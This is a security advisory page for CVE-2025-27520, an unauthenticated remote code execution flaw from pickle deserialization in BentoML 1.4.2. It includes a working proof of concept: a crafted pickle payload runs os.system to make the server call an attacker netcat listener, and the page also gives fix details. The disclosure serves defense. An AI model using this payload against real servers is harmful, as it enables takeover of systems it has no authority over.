CVE-2025-27520: BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

Published Apr 4, 2025
·
Updated

Summary A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

Details It exists an unsafe code segment in serde.py: Python def deserializevalue(self, payload: Payload) -> t.Any: if "buffer-lengths" not in payload.metadata: return pickle.loads(b"".join(payload.data)) Through data flow analysis, it is confirmed that the payload content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

PoC Environment:

- Server host: - IP: 10.98.36.123 - OS: Ubuntu - Attack host: - IP: 10.98.36.121 - OS: Ubuntu

1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) : pip install -U bentoml

1.2 Define APIs in a service.py file (Server host: 10.98.36.123) : Python from future import annotations

import bentoml

@bentoml.service( resources={"cpu": "4"} ) class Summarization: def init(self) -> None: import torch from transformers import pipeline

device = "cuda" if torch.cuda.isavailable() else "cpu" self.pipeline = pipeline('summarization', device=device)

@bentoml.api(batchable=True) def summarize(self, texts: list[str]) -> list[str]: results = self.pipeline(texts) return [item['summarytext'] for item in results]

1.3 Run the service code (Server host: 10.98.36.123) : Bash pip install torch transformers # additional dependencies for local run

bentoml serve

2. Start nc listening on the attacking host (Attack host: 10.98.36.121) : nc -lvvp 1234

3. Send maliciously crafted request (Attack host: 10.98.36.121) : Python import pickle import os import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil: def reduce(self): return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)

4. Attack success (Attack host: 10.98.36.121) : The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234. !nc

Impact Remote Code Execution (RCE).

Other sources

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.

MITRE

Affected Software

3 affected componentsFixes available
pip/bentoml>=1.3.4<1.4.3
1.4.3
BentoML BentoML
BentoML BentoML>=1.3.4<=1.4.2

Event History

Apr 4, 2025
CVE Published
via MITRE·02:28 PM
Data Sourced
via MITRE·02:28 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:15 PM
RemedyAffected Software
Advisory Published
via GitHub·04:05 PM

Frequently Asked Questions

1

What is the severity of CVE-2025-27520?

CVE-2025-27520 has been classified as a high severity vulnerability due to its potential for Remote Code Execution.

2

How do I fix CVE-2025-27520?

To address CVE-2025-27520, update BentoML to version 1.4.3 or later, which includes the necessary security patches.

3

Who is affected by CVE-2025-27520?

CVE-2025-27520 affects all users of BentoML version 1.4.2 or earlier.

4

What type of vulnerability is CVE-2025-27520?

CVE-2025-27520 is a Remote Code Execution vulnerability caused by insecure deserialization.

5

Can unauthenticated users exploit CVE-2025-27520?

Yes, CVE-2025-27520 allows any unauthenticated user to exploit the vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203